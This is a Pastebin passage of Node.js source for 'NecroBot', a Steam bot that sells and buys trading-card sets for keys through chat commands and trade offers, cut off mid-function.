Advertisement
Guest User

Untitled

a guest
Aug 10th, 2017
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 79.35 KB | None | 0 0
  1. let SteamUser = require("steam-user"),
  2. SteamTotp = require("steam-totp"),
  3. TradeOfferManager = require("steam-tradeoffer-manager"),
  4. SteamCommunity = require("steamcommunity"),
  5. Utils = require("./utils.js"),
  6. CONFIG = require("./SETTINGS/config.js"),
  7. allCards = {},
  8. botSets = {},
  9. fs = require("fs"),
  10. users = {},
  11. userMsgs = {},
  12. SID64REGEX = new RegExp(/^[0-9]{17}$/),
  13. chatLogs = "",
  14. userLogs = {},
  15. totalBotSets = 0,
  16. setsThatShouldntBeSent = [];
  17.  
  18.  
  19. let client = new SteamUser(),
  20. manager = new TradeOfferManager({
  21. "steam": client,
  22. "language": "en",
  23. "pollInterval": "10000",
  24. "cancelTime": "7200000" // 2 hours in ms
  25. }),
  26. community = new SteamCommunity();
  27.  
  28. fs.readFile("./UserData/Users.json", (ERR, DATA) => {
  29. if (ERR) {
  30. console.log("## An error occurred while getting Users: " + ERR);
  31. } else {
  32. users = JSON.parse(DATA);
  33. }
  34. });
  35.  
  36. Utils.getCardsInSets((ERR, DATA) => {
  37. if (!ERR) {
  38. allCards = DATA;
  39. console.log("Card data loaded. [" + Object.keys(DATA).length + "]");
  40. } else {
  41. console.log("An error occurred while getting cards: " + ERR);
  42. }
  43. });
  44.  
  45. setInterval(() => {
  46. for (let i = 0; i < Object.keys(users).length; i++) {
  47. if (users[Object.keys(users)[i]].idleforhours >= CONFIG.MAXHOURSADDED) {
  48. client.chatMessage(Object.keys(users)[i], "Hi, you have been inactive on my friends list for too long. If you wish to use NecroBot again please re-add me.");
  49. client.removeFriend(Object.keys(users)[i]);
  50. delete users[Object.keys(users)[i]];
  51. fs.writeFile("./UserData/Users.json", JSON.stringify(users), (ERR) => {
  52. if (ERR) {
  53. console.log("## An error occurred while writing UserData file: " + ERR);
  54. }
  55. });
  56. } else {
  57. users[Object.keys(users)[i]].idleforhours += 1;
  58. fs.writeFile("./UserData/Users.json", JSON.stringify(users), (ERR) => {
  59. if (ERR) {
  60. console.log("## An error occurred while writing UserData file: " + ERR);
  61. }
  62. });
  63. }
  64. }
  65. }, 1000 * 60 * 60);
  66.  
  67. setInterval(() => {
  68. for (let i = 0; i < Object.keys(userMsgs).length; i++) {
  69. if (userMsgs[Object.keys(userMsgs)[i]] > CONFIG.MAXMSGPERSEC) {
  70. client.chatMessage(Object.keys(userMsgs)[i], "You will be delted by NecroBot for spam messaging. If this happens again you will be banned from using NecroBot.");
  71. client.removeFriend(Object.keys(userMsgs)[i]);
  72. for (let j = 0; j < CONFIG.ADMINS.length; j++) {
  73. client.chatMessage(CONFIG.ADMINS[j], "User #" + Object.keys(userMsgs)[i] + " has been removed for spamming. To block him use !block [STEAMID64]");
  74. }
  75. }
  76. }
  77. userMsgs = {};
  78. }, 1000);
  79.  
  80. client.logOn({
  81. accountName: CONFIG.USERNAME,
  82. password: CONFIG.PASSWORD,
  83. twoFactorCode: SteamTotp.getAuthCode(CONFIG.SHAREDSECRET)
  84. });
  85.  
  86. console.log(SteamTotp.getAuthCode(CONFIG.SHAREDSECRET));
  87.  
  88. client.on("loggedOn", (details, parental) => {
  89. client.getPersonas([client.steamID], (personas) => {
  90. console.log("## Logged in as #" + client.steamID + " (" + personas[client.steamID].player_name + ")");
  91. });
  92. client.setPersona(1);
  93. });
  94.  
  95. client.on("webSession", (sessionID, cookies) => {
  96. manager.setCookies(cookies, (ERR) => {
  97. if (ERR) {
  98. console.log("## An error occurred while setting cookies.");
  99. } else {
  100. console.log("## Websession created and cookies set.");
  101. }
  102. });
  103. // Add people that added the bot while it was online.
  104. for (let i = 0; i < Object.keys(client.myFriends).length; i++) {
  105. if (client.myFriends[Object.keys(client.myFriends)[i]] == 2) {
  106. client.addFriend(Object.keys(client.myFriends)[i]);
  107. }
  108. }
  109. community.setCookies(cookies);
  110. community.startConfirmationChecker(10000, CONFIG.IDENTITYSECRET);
  111. client.blockUser("76561198337312992"); // Some people have tried to either crash the bot or buy it not directly from me, I'm going to make bots block them just in case. :)
  112. Utils.getInventory(client.steamID.getSteamID64(), community, (ERR, DATA) => {
  113. console.log("DEBUG#INVLOADED");
  114. if (!ERR) {
  115. let s = DATA;
  116. Utils.getSets(s, allCards, (ERR, DATA) => {
  117. console.log("DEBUG#SETSLOADED");
  118. if (!ERR) {
  119. botSets = DATA;
  120. console.log("## Bot's sets loaded.");
  121. let botNSets = 0;
  122. for (let i = 0; i < Object.keys(botSets).length; i++) {
  123. botNSets += botSets[Object.keys(botSets)[i]].length;
  124. }
  125. totalBotSets = botNSets;
  126. let playThis = CONFIG.PLAYGAMES;
  127. if (CONFIG.PLAYGAMES && typeof(CONFIG.PLAYGAMES[0]) == "string") {
  128. playThis[0] = parseString(playThis[0], totalBotSets);
  129. }
  130. client.gamesPlayed(playThis);
  131. } else {
  132. console.log("## An error occurred while getting bot sets: " + ERR);
  133. process.exit();
  134. }
  135. });
  136. } else {
  137. console.log("## An error occurred while getting bot inventory: " + ERR);
  138. }
  139. });
  140. });
  141.  
  142. community.on("sessionExpired", (ERR) => {
  143. console.log("## Session Expired. Relogging.");
  144. client.webLogOn();
  145. });
  146.  
  147. client.on("friendMessage", (SENDER, MSG) => {
  148. if (userLogs[SENDER.getSteamID64()]) {
  149. userLogs[SENDER.getSteamID64()].push(MSG);
  150. } else {
  151. userLogs[SENDER.getSteamID64()] = [];
  152. userLogs[SENDER.getSteamID64()].push(MSG);
  153. }
  154. fs.writeFile("./ChatLogs/UserLogs/" + SENDER.getSteamID64() + "-log-" + new Date().getDate() + "-" + new Date().getMonth() + "-" + new Date().getFullYear() + ".json", JSON.stringify({ logs: userLogs[SENDER.getSteamID64()] }), (ERR) => {
  155. if (ERR) {
  156. console.log("## An error occurred while writing UserLogs file: " + ERR);
  157. }
  158. });
  159. chatLogs += SENDER.getSteamID64() + " : " + MSG + "\n";
  160. fs.writeFile("./ChatLogs/FullLogs/log-" + new Date().getDate() + "-" + new Date().getMonth() + "-" + new Date().getFullYear() + ".txt", chatLogs, (ERR) => {
  161. if (ERR) {
  162. console.log("## An error occurred while writing FullLogs file: " + ERR);
  163. }
  164. });
  165. if (Object.keys(users).indexOf(SENDER.getSteamID64()) < 0) {
  166. users[SENDER.getSteamID64()] = {};
  167. users[SENDER.getSteamID64()].idleforhours = 0;
  168. fs.writeFile("./UserData/Users.json", JSON.stringify(users), (ERR) => {
  169. if (ERR) {
  170. console.log("## An error occurred while writing UserData file: " + ERR);
  171. }
  172. });
  173. } else {
  174. users[SENDER.getSteamID64()].idleforhours = 0;
  175. }
  176. if (userMsgs[SENDER.getSteamID64()]) {
  177. userMsgs[SENDER.getSteamID64()]++;
  178. } else {
  179. userMsgs[SENDER.getSteamID64()] = 1;
  180. }
  181. /*if (MSG.toUpperCase() == "!STOCK") {
  182. for (let i = 0; i < botSets.length; i++) {
  183. //
  184. }
  185. } else */
  186. if (MSG.toUpperCase().indexOf("!LEVEL") >= 0) {
  187. let n = parseInt(MSG.toUpperCase().replace("!LEVEL ", ""));
  188. if (!isNaN(n) && parseInt(n) > 0) {
  189. if (n <= CONFIG.MESSAGES.MAXLEVEL) {
  190. Utils.getBadges(SENDER.getSteamID64(), (ERR, DATA, CURRENTLEVEL, XPNEEDED) => {
  191. if (!ERR) {
  192. if (DATA) {
  193. if (n > CURRENTLEVEL) {
  194. let s = 0,
  195. l = 0;
  196. for (let i = 0; i < (n - CURRENTLEVEL); i++) {
  197. s += parseInt((CURRENTLEVEL + l) / 10) + 1;
  198. l++;
  199. }
  200. client.chatMessage(SENDER, "To get to level " + n + " you will need " + (s - Math.floor(XPNEEDED / 100)) + " sets. That would cost you " + parseInt((s - Math.floor(XPNEEDED / 100)) / CONFIG.CARDS.BUY1KEYFORAMOUNTOFSETS * 100) / 100 + " keys. To get enough sets you should round this number up to the nearest 1. The bot only accepts !buy commands with whole numbers.");
  201. } else {
  202. client.chatMessage(SENDER, "NecroBot is unable to process this level, please enter a more realistic level request.");
  203. }
  204. } else {
  205. client.chatMessage(SENDER, "NecroBot couldn't find your level. Please make sure your Steam Profile is public and retry.");
  206. }
  207. } else {
  208. console.log("## An error occurred while getting badge data: " + ERR);
  209. client.chatMessage(SENDER, "An error occurred while loading your badges. Please try again later.");
  210. }
  211. });
  212. } else {
  213. client.chatMessage(SENDER, "Please enter a lower level.");
  214. }
  215. } else {
  216. client.chatMessage(SENDER, "Please provide a valid level.");
  217. }
  218. } else if (MSG.toUpperCase() === "!HELP") {
  219. client.chatMessage(SENDER, CONFIG.MESSAGES.HELP);
  220. if (CONFIG.CARDS.PEOPLETHATCANSELL.indexOf(SENDER.getSteamID64()) >= 0) {
  221. client.chatMessage(SENDER, CONFIG.MESSAGES.SELLHELP);
  222. }
  223. } else if (MSG.toUpperCase().indexOf("!BUYONECHECK") >= 0) {
  224. client.chatMessage(SENDER, "NecroBot is currently loading your badges...");
  225. Utils.getBadges(SENDER.getSteamID64(), (ERR, DATA) => {
  226. if (!ERR) {
  227. let b = {}; // List with badges that CAN still be crafted
  228. if (DATA) {
  229. for (let i = 0; i < Object.keys(DATA).length; i++) {
  230. if (DATA[Object.keys(DATA)[i]] < 6) {
  231. b[Object.keys(DATA)[i]] = 5 - DATA[Object.keys(DATA)[i]];
  232. }
  233. }
  234. } else {
  235. client.chatMessage(SENDER.getSteamID64(), "Your badges are empty, sending an offer without checking badges.");
  236. }
  237. // console.log(b);
  238. // TODO: COUNT AMOUNT OF SETS BOT CAN GIVE HIM
  239. // 1: GET BOTS CARDS. DONE
  240. // 2: GET PLAYER's BADGES. DONE
  241. // 3: MAGIC
  242. let hisMaxSets = 0,
  243. botNSets = 0;
  244. // Loop for sets he has partially completed
  245. for (let i = 0; i < Object.keys(b).length; i++) {
  246. if (botSets[Object.keys(b)[i]] && botSets[Object.keys(b)[i]].length >= 5 - b[Object.keys(b)[i]].length) {
  247. hisMaxSets += 5 - b[Object.keys(b)[i]].length;
  248. }
  249. }
  250. // Loop for sets he has never crafted
  251. for (let i = 0; i < Object.keys(botSets).length; i++) {
  252. if (Object.keys(b).indexOf(Object.keys(botSets)[i]) < 0) {
  253. if (botSets[Object.keys(botSets)[i]].length >= 1) {
  254. hisMaxSets += 1;
  255. }
  256. }
  257. botNSets += botSets[Object.keys(botSets)[i]].length;
  258. }
  259. totalBotSets = botNSets;
  260. let playThis = CONFIG.PLAYGAMES;
  261. if (CONFIG.PLAYGAMES && typeof(CONFIG.PLAYGAMES[0]) == "string") {
  262. playThis[0] = parseString(playThis[0], totalBotSets);
  263. }
  264. client.gamesPlayed(playThis);
  265. client.chatMessage(SENDER, "There are currently sets from " + Object.keys(botSets).length + " different games, of which you have not crafted " + hisMaxSets + ". This would cost " + parseInt(hisMaxSets / CONFIG.CARDS.BUY1KEYFORAMOUNTOFSETS * 100) / 100 + " keys.");
  266. } else {
  267. client.chatMessage(SENDER, "An error occurred while getting your badges. Please try again.");
  268. console.log("An error occurred while getting badges: " + ERR);
  269. }
  270. });
  271. } else if (MSG.toUpperCase().indexOf("!SELLCHECK") >= 0) {
  272. let n = parseInt(MSG.toUpperCase().replace("!SELLCHECK ", ""));
  273. client.chatMessage(SENDER, "NecroBot is currently loading your inventory...");
  274. Utils.getInventory(SENDER.getSteamID64(), community, (ERR, DATA) => {
  275. console.log("DEBUG#INVLOADED");
  276. if (!ERR) {
  277. let s = DATA;
  278. Utils.getSets(s, allCards, (ERR, DATA) => {
  279. console.log("DEBUG#SETSLOADED");
  280. if (!ERR) {
  281.  
  282. // console.log(b);
  283. // TODO: COUNT AMOUNT OF SETS BOT CAN GIVE HIM
  284. // 1: GET BOTS CARDS. DONE
  285. // 2: GET PLAYER's BADGES. DONE
  286. // 3: MAGIC
  287. let hisMaxSets = 0,
  288. botNSets = 0;
  289. // Loop for sets he has partially completed
  290. // Loop for sets he has never crafted
  291. for (let i = 0; i < Object.keys(DATA).length; i++) {
  292. if (DATA[Object.keys(DATA)[i]].length >= 5) {
  293. hisMaxSets += 5;
  294. } else {
  295. hisMaxSets += DATA[Object.keys(DATA)[i]].length;
  296. }
  297. botNSets += DATA[Object.keys(DATA)[i]].length;
  298. }
  299. totalBotSets = botNSets;
  300. let playThis = CONFIG.PLAYGAMES;
  301. if (CONFIG.PLAYGAMES && typeof(CONFIG.PLAYGAMES[0]) == "string") {
  302. playThis[0] = parseString(playThis[0], totalBotSets);
  303. }
  304. client.gamesPlayed(playThis);
  305. client.chatMessage(SENDER, "You currently have " + botNSets + " is able to stock (the bot has overstock limits). For all of them the bot will pay you " + parseInt(botNSets / CONFIG.CARDS.GIVE1KEYPERAMOUNTOFSETS * 100) / 100 + " keys.");
  306. } else {
  307. console.log("## An error occurred while getting user sets: " + ERR);
  308. }
  309. });
  310. } else {
  311. console.log("## An error occurred while getting user inventory: " + ERR);
  312. }
  313. });
  314. } else if (MSG.toUpperCase().indexOf("!CHECK") >= 0) {
  315. let n = parseInt(MSG.toUpperCase().replace("!CHECK ", ""));
  316. if (!isNaN(n) && parseInt(n) > 0) {
  317. client.chatMessage(SENDER, "With " + n + " keys you can get " + n * CONFIG.CARDS.BUY1KEYFORAMOUNTOFSETS + " sets.");
  318. } else {
  319. if (Object.keys(botSets).length > 0) {
  320. client.chatMessage(SENDER, "NecroBot is loading your badges...");
  321. Utils.getBadges(SENDER.getSteamID64(), (ERR, DATA) => {
  322. if (!ERR) {
  323. let b = {}; // List with badges that CAN still be crafted
  324. if (DATA) {
  325. for (let i = 0; i < Object.keys(DATA).length; i++) {
  326. if (DATA[Object.keys(DATA)[i]] < 6) {
  327. b[Object.keys(DATA)[i]] = 5 - DATA[Object.keys(DATA)[i]];
  328. }
  329. }
  330. } else {
  331. client.chatMessage(SENDER.getSteamID64(), "Your badges are empty, sending an offer without checking badges.");
  332. }
  333. // console.log(b);
  334. // TODO: COUNT AMOUNT OF SETS BOT CAN GIVE HIM
  335. // 1: GET BOTS CARDS. DONE
  336. // 2: GET PLAYER's BADGES. DONE
  337. // 3: MAGIC
  338. let hisMaxSets = 0,
  339. botNSets = 0;
  340. // Loop for sets he has partially completed
  341. for (let i = 0; i < Object.keys(b).length; i++) {
  342. if (botSets[Object.keys(b)[i]] && botSets[Object.keys(b)[i]].length >= 5 - b[Object.keys(b)[i]].length) {
  343. hisMaxSets += 5 - b[Object.keys(b)[i]].length;
  344. }
  345. }
  346. // Loop for sets he has never crafted
  347. for (let i = 0; i < Object.keys(botSets).length; i++) {
  348. if (Object.keys(b).indexOf(Object.keys(botSets)[i]) < 0) {
  349. if (botSets[Object.keys(botSets)[i]].length >= 5) {
  350. hisMaxSets += 5;
  351. } else {
  352. hisMaxSets += botSets[Object.keys(botSets)[i]].length;
  353. }
  354. }
  355. botNSets += botSets[Object.keys(botSets)[i]].length;
  356. }
  357. totalBotSets = botNSets;
  358. let playThis = CONFIG.PLAYGAMES;
  359. if (CONFIG.PLAYGAMES && typeof(CONFIG.PLAYGAMES[0]) == "string") {
  360. playThis[0] = parseString(playThis[0], totalBotSets);
  361. }
  362. client.gamesPlayed(playThis);
  363. client.chatMessage(SENDER, "There are currently " + hisMaxSets + "/" + botNSets + " sets available which you have not fully crafted yet. Buying all of them will cost you " + parseInt(hisMaxSets / CONFIG.CARDS.BUY1KEYFORAMOUNTOFSETS * 100) / 100 + " keys.");
  364. } else {
  365. client.chatMessage(SENDER, "An error occurred while getting your badges. Please try again.");
  366. console.log("An error occurred while getting badges: " + ERR);
  367. }
  368. });
  369. } else {
  370. client.chatMessage(SENDER, "Please try again later.");
  371. }
  372. }
  373. } else if (MSG.toUpperCase().indexOf("!SELL") >= 0) {
  374. if (botSets) {
  375. //if (CONFIG.CARDS.PEOPLETHATCANSELL.indexOf(SENDER.getSteamID64().toString()) >= 0 || CONFIG.CARDS.PEOPLETHATCANSELL.indexOf(parseInt(SENDER.getSteamID64())) >= 0) {
  376. let n = parseInt(MSG.toUpperCase().replace("!SELL ", "")),
  377. amountofsets = n * CONFIG.CARDS.GIVE1KEYPERAMOUNTOFSETSMOD;
  378. if (!isNaN(n) && parseInt(n) > 0) {
  379. if (n <= CONFIG.MESSAGES.MAXSELL) {
  380. client.chatMessage(SENDER, "The bot is currently processing your request, please give it some time.");
  381. let botKeys = [],
  382. t = manager.createOffer(SENDER.getSteamID64());
  383. t.getUserDetails((ERR, ME, THEM) => {
  384. if (ERR) {
  385. console.log("## An error occurred while getting trade holds: " + ERR);
  386. client.chatMessage(SENDER, "An error occurred while getting your trade holds. Please check is your inventory public.");
  387. } else if (ME.escrowDays == 0 && THEM.escrowDays == 0) {
  388. manager.getUserInventoryContents(client.steamID.getSteamID64(), CONFIG.KEYSFROMGAME, 2, true, (ERR, INV, CURR) => {
  389. if (ERR) {
  390. console.log("## An error occurred while getting bot inventory: " + ERR);
  391. client.chatMessage(SENDER, "An error occurred while loading the bot's inventory. Please try again.");
  392. } else {
  393. for (let i = 0; i < INV.length; i++) {
  394. if (botKeys.length < n && CONFIG.ACCEPTEDKEYS.indexOf(INV[i].market_hash_name) >= 0) {
  395. botKeys.push(INV[i]);
  396. }
  397. }
  398. if (botKeys.length != n) {
  399. client.chatMessage(SENDER, "NecroBot does not have enough keys for this task, please inform my Support at steamcommunity.com/id/_n3cr0");
  400. } else {
  401. let amountofB = amountofsets;
  402. Utils.getInventory(SENDER.getSteamID64(), community, (ERR, DATA) => {
  403. if (!ERR) {
  404. let s = DATA;
  405. Utils.getSets(s, allCards, (ERR, DDATA) => {
  406. if (!ERR) {
  407. sortSetsByAmountB(s, (DATA) => {
  408. let setsSent = {};
  409. firsttLoop: for (let i = 0; i < DATA.length; i++) {
  410. console.log(setsSent);
  411. console.log(DATA[i]);
  412. if (DDATA[DATA[i]]) {
  413. for (let j = 0; j < DDATA[DATA[i]].length; j++) {
  414. if (amountofB > 0) {
  415. if ((setsSent[DATA[i]] && setsSent[DATA[i]] < CONFIG.CARDS.MAXSETSELL) || !setsSent[DATA[i]]) {
  416. t.addTheirItems(DDATA[DATA[i]][j]);
  417. console.log("DEBUG#LOOP #2 CONTINUE: ITEM ADD");
  418. amountofB--;
  419. if (!setsSent[DATA[i]]) {
  420. setsSent[DATA[i]] = 1;
  421. } else {
  422. setsSent[DATA[i]] += 1;
  423. }
  424. } else {
  425. console.log("DEBUG#LOOP #2 CONTINUE: RETURN");
  426. continue firsttLoop;
  427. }
  428. } else {
  429. console.log("DEBUG#LOOP #2 CONTINUE: RETURN");
  430. continue firsttLoop;
  431. }
  432. }
  433. } else {
  434. console.log("DEBUG#LOOP #2 CONTINUE: RETURN 2");
  435. continue firsttLoop;
  436. }
  437. }
  438. });
  439. if (amountofB > 0) {
  440. client.chatMessage(SENDER, "You do not have enough sets, (this bot only accepts " + CONFIG.CARDS.MAXSETSELL + " sets from each different game at a time). Please try again later.");
  441. } else {
  442. console.log("DEBUG#SENDING");
  443. t.addMyItems(botKeys);
  444. t.data("commandused", "Sell");
  445. t.data("amountofsets", amountofsets.toString());
  446. t.data("amountofkeys", n);
  447. t.send((ERR, STATUS) => {
  448. if (ERR) {
  449. client.chatMessage(SENDER, "An error occurred while sending your trade. Steam Trades could be down. Please try again later.");
  450. console.log("## An error occurred while sending trade: " + ERR);
  451. } else {
  452. client.chatMessage(SENDER, "NecroBot has sent your trade! It's being confirmed...");
  453. console.log("## Trade offer sent!");
  454. }
  455. });
  456. }
  457. } else {
  458. console.log("## An error occurred while getting bot sets: " + ERR);
  459. }
  460. });
  461. } else {
  462. console.log("## An error occurred while getting user inventory: " + ERR);
  463. }
  464. });
  465. }
  466. }
  467. });
  468. } else {
  469. client.chatMessage(SENDER, "Please make sure you don't have a trade hold!");
  470. }
  471. });
  472. } else {
  473. client.chatMessage(SENDER, "Please try a lower amount of keys.");
  474. }
  475. } else {
  476. client.chatMessage(SENDER, "Please enter a valid amount of keys!");
  477. }
  478. //else {
  479. //client.chatMessage(SENDER, "You are not able to sell sets.");
  480. //}
  481. } else {
  482. client.chatMessage(SENDER, "Please try again later.");
  483. }
  484. } else if (MSG.toUpperCase().indexOf("!BUYONE") >= 0) {
  485. if (botSets) {
  486. let n = MSG.toUpperCase().replace("!BUYONE ", ""),
  487. amountofsets = parseInt(n) * CONFIG.CARDS.BUY1KEYFORAMOUNTOFSETS;
  488. if (!isNaN(n) && parseInt(n) > 0) {
  489. if (n <= CONFIG.MESSAGES.MAXBUY) {
  490. let t = manager.createOffer(SENDER.getSteamID64());
  491. t.getUserDetails((ERR, ME, THEM) => {
  492. if (ERR) {
  493. console.log("## An error occurred while getting trade holds: " + ERR);
  494. client.chatMessage(SENDER, "An error occurred while getting your trade holds. Please try again");
  495. } else if (ME.escrowDays == 0 && THEM.escrowDays == 0) {
  496. n = parseInt(n);
  497. let theirKeys = [];
  498. client.chatMessage(SENDER, "Processing your request.");
  499. manager.getUserInventoryContents(SENDER.getSteamID64(), CONFIG.KEYSFROMGAME, 2, true, (ERR, INV, CURR) => {
  500. if (ERR) {
  501. console.log("## An error occurred while getting inventory: " + ERR);
  502. client.chatMessage(SENDER, "An error occurred while loading your inventory. Please try later");
  503. } else {
  504. console.log("DEBUG#INV LOADED");
  505. if (!ERR) {
  506. console.log("DEBUG#INV LOADED NOERR");
  507. for (let i = 0; i < INV.length; i++) {
  508. if (theirKeys.length < n && CONFIG.ACCEPTEDKEYS.indexOf(INV[i].market_hash_name) >= 0) {
  509. theirKeys.push(INV[i]);
  510. }
  511. }
  512. if (theirKeys.length != n) {
  513. client.chatMessage(SENDER, "You do not have enough keys. Please try a lower request.");
  514. } else {
  515. Utils.getBadges(SENDER.getSteamID64(), (ERR, DATA) => {
  516. if (!ERR) {
  517. console.log("DEBUG#BADGE LOADED");
  518. if (!ERR) {
  519. let b = {}; // List with badges that CAN still be crafted
  520. if (DATA) {
  521. for (let i = 0; i < Object.keys(DATA).length; i++) {
  522. if (DATA[Object.keys(DATA)[i]] < 6) {
  523. b[Object.keys(DATA)[i]] = 5 - DATA[Object.keys(DATA)[i]];
  524. }
  525. }
  526. } else {
  527. client.chatMessage(SENDER.getSteamID64(), "Your badges are empty, sending an offer without checking badges.");
  528. }
  529. console.log(DATA);
  530. console.log(b);
  531. // TODO: COUNT AMOUNT OF SETS BOT CAN GIVE HIM
  532. // 1: GET BOTS CARDS. DONE
  533. // 2: GET PLAYER's BADGES. DONE
  534. // 3: MAGIC
  535. let hisMaxSets = 0,
  536. botNSets = 0;
  537. // Loop for sets he has partially completed
  538. for (let i = 0; i < Object.keys(b).length; i++) {
  539. if (botSets[Object.keys(b)[i]] && botSets[Object.keys(b)[i]].length >= 5 - b[Object.keys(b)[i]].length) {
  540. hisMaxSets += 5 - b[Object.keys(b)[i]].length;
  541. }
  542. }
  543. console.log("DEBUG#LOOP 1 DONE");
  544. // Loop for sets he has never crafted
  545. for (let i = 0; i < Object.keys(botSets).length; i++) {
  546. if (Object.keys(b).indexOf(Object.keys(botSets)[i]) < 0) {
  547. if (botSets[Object.keys(botSets)[i]].length >= 5) {
  548. hisMaxSets += 5;
  549. } else {
  550. hisMaxSets += botSets[Object.keys(botSets)[i]].length;
  551. }
  552. }
  553. botNSets += botSets[Object.keys(botSets)[i]].length;
  554. }
  555. totalBotSets = botNSets;
  556. let playThis = CONFIG.PLAYGAMES;
  557. if (CONFIG.PLAYGAMES && typeof(CONFIG.PLAYGAMES[0]) == "string") {
  558. playThis[0] = parseString(playThis[0], totalBotSets);
  559. }
  560. client.gamesPlayed(playThis);
  561. console.log("DEBUG#LOOP 2 DONE");
  562. // HERE
  563. if (amountofsets <= hisMaxSets) {
  564. hisMaxSets = amountofsets;
  565. console.log("DEBUG#TRADE CREATED");
  566. sortSetsByAmount(botSets, (DATA) => {
  567. console.log("DEBUG#" + DATA);
  568. console.log("DEBUG#SETS SORTED");
  569. firstLoop: for (let i = 0; i < DATA.length; i++) {
  570. if (b[DATA[i]] == 0) {
  571. continue firstLoop;
  572. } else {
  573. console.log("DEBUG#" + i);
  574. console.log("DEBUG#FOR LOOP ITEMS");
  575. if (hisMaxSets > 0) {
  576. console.log("DEBUG#MAXSETSMORETHAN1");
  577. if (!b[DATA[i]] && botSets[DATA[i]].length > 0) { // TODO NOT FOR LOOP WITH BOTSETS. IT SENDS ALL
  578. // BOT HAS ENOUGH SETS AND USER NEVER CRAFTED THIS
  579. bLoop: for (let j = 0; j < botSets[DATA[i]].length; j++) {
  580. if (botSets[DATA[i]][j] && hisMaxSets > 0) {
  581. t.addMyItems(botSets[DATA[i]][j]);
  582. console.log("DEBUG#LOOP #2 CONTINUE: ITEM ADD");
  583. hisMaxSets--;
  584. continue firstLoop;
  585. } else {
  586. console.log("DEBUG#LOOP #2 CONTINUE: RETURN");
  587. continue firstLoop;
  588. }
  589. }
  590. }
  591. } else {
  592. console.log("DEBUG#RETURN");
  593. break firstLoop;
  594. }
  595. }
  596. }
  597. if (hisMaxSets > 0) {
  598. client.chatMessage(SENDER, "There are not enough sets. Please try again later.");
  599. } else {
  600. console.log("DEBUG#SENDING");
  601. t.addTheirItems(theirKeys);
  602. t.data("commandused", "BuyOne");
  603. t.data("amountofkeys", n);
  604. t.data("amountofsets", amountofsets.toString());
  605. t.data("index", setsThatShouldntBeSent.length);
  606. setsThatShouldntBeSent.push(t.itemsToGive);
  607. t.send((ERR, STATUS) => {
  608. if (ERR) {
  609. client.chatMessage(SENDER, "An error occurred while sending your trade. Steam Trades could be down. Please try again later.");
  610. console.log("## An error occurred while sending trade: " + ERR);
  611. } else {
  612. client.chatMessage(SENDER, "NecroBot has sent your trade! It's being confirmed...");
  613. console.log("## Trade offer sent");
  614. }
  615. });
  616. }
  617. });
  618. } else {
  619. client.chatMessage(SENDER, "There are currently not enough sets that you have not used in stock for this amount of keys. Please try again later. If you want the bot to ignore your current badges use !buyany.");
  620. }
  621. // TO HERE
  622. } else {
  623. console.log("An error occurred while getting badges: " + ERR);
  624. }
  625. } else {
  626. client.chatMessage(SENDER, "An error occurred while getting your badges. Please try again.");
  627. console.log(SENDER, "## An error occurred while loading badges: " + ERR);
  628. }
  629. });
  630. }
  631. } else {
  632. console.log("## An error occurred while getting inventory: " + ERR);
  633. client.chatMessage(SENDER, "An error occurred while loading your inventory, please make sure it's set to public.");
  634. }
  635. }
  636. });
  637. } else {
  638. client.chatMessage(SENDER, "Please make sure you don't have a trade hold!");
  639. }
  640. });
  641. } else {
  642. client.chatMessage(SENDER, "Please try a lower amount of keys.");
  643. }
  644. } else {
  645. client.chatMessage(SENDER, "Please provide a valid amount of keys.");
  646. }
  647. } else {
  648. client.chatMessage(SENDER, "Please try again later.");
  649. }
  650. } else if (MSG.toUpperCase().indexOf("!BUYANY") >= 0) {
  651. if (botSets) {
  652. let n = MSG.toUpperCase().replace("!BUYANY ", ""),
  653. amountofsets = parseInt(n) * CONFIG.CARDS.BUY1KEYFORAMOUNTOFSETS;
  654. if (!isNaN(n) && parseInt(n) > 0) {
  655. if (n <= CONFIG.MESSAGES.MAXBUY) {
  656. let t = manager.createOffer(SENDER.getSteamID64());
  657. n = parseInt(n);
  658. let theirKeys = [];
  659. t.getUserDetails((ERR, ME, THEM) => {
  660. if (ERR) {
  661. console.log("## An error occurred while getting trade holds: " + ERR);
  662. client.chatMessage(SENDER, "An error occurred while getting your trade holds. Please try again");
  663. } else if (ME.escrowDays == 0 && THEM.escrowDays == 0) {
  664. client.chatMessage(SENDER, "Processing your request.");
  665. manager.getUserInventoryContents(SENDER.getSteamID64(), CONFIG.KEYSFROMGAME, 2, true, (ERR, INV, CURR) => {
  666. if (ERR) {
  667. console.log("## An error occurred while getting inventory: " + ERR);
  668. client.chatMessage(SENDER, "An error occurred while loading your inventory. Please try later");
  669. } else {
  670. let amountofB = amountofsets;
  671. for (let i = 0; i < INV.length; i++) {
  672. if (theirKeys.length < n && CONFIG.ACCEPTEDKEYS.indexOf(INV[i].market_hash_name) >= 0) {
  673. theirKeys.push(INV[i]);
  674. }
  675. }
  676. if (theirKeys.length != n) {
  677. client.chatMessage(SENDER, "You do not have enough keys.");
  678. } else {
  679. sortSetsByAmount(botSets, (DATA) => {
  680. let setsSent = {};
  681. firstLoop: for (let i = 0; i < DATA.length; i++) {
  682. console.log(setsSent);
  683. console.log(DATA[i]);
  684. if (botSets[DATA[i]]) {
  685. for (let j = 0; j < botSets[DATA[i]].length; j++) {
  686. if (amountofB > 0) {
  687. if ((setsSent[DATA[i]] && setsSent[DATA[i]] > -1) || !setsSent[DATA[i]]) {
  688. t.addMyItems(botSets[DATA[i]][j]);
  689. console.log("DEBUG#LOOP #2 CONTINUE: ITEM ADD");
  690. amountofB--;
  691. if (!setsSent[DATA[i]]) {
  692. setsSent[DATA[i]] = 1;
  693. } else {
  694. setsSent[DATA[i]] += 1;
  695. }
  696. } else {
  697. console.log("DEBUG#LOOP #2 CONTINUE: RETURN");
  698. continue firstLoop;
  699. }
  700. } else {
  701. console.log("DEBUG#LOOP #2 CONTINUE: RETURN");
  702. continue firstLoop;
  703. }
  704. }
  705. } else {
  706. console.log("DEBUG#LOOP #2 CONTINUE: RETURN 2");
  707. continue firstLoop;
  708. }
  709. }
  710. });
  711. }
  712. if (amountofB > 0) {
  713. client.chatMessage(SENDER, "There are not enough sets. Please try again later.");
  714. } else {
  715. console.log("DEBUG#SENDING");
  716. t.addTheirItems(theirKeys);
  717. t.data("commandused", "BuyAny");
  718. t.data("amountofsets", amountofsets.toString());
  719. t.data("amountofkeys", n);
  720. t.data("index", setsThatShouldntBeSent.length);
  721. setsThatShouldntBeSent.push(t.itemsToGive);
  722. t.send((ERR, STATUS) => {
  723. if (ERR) {
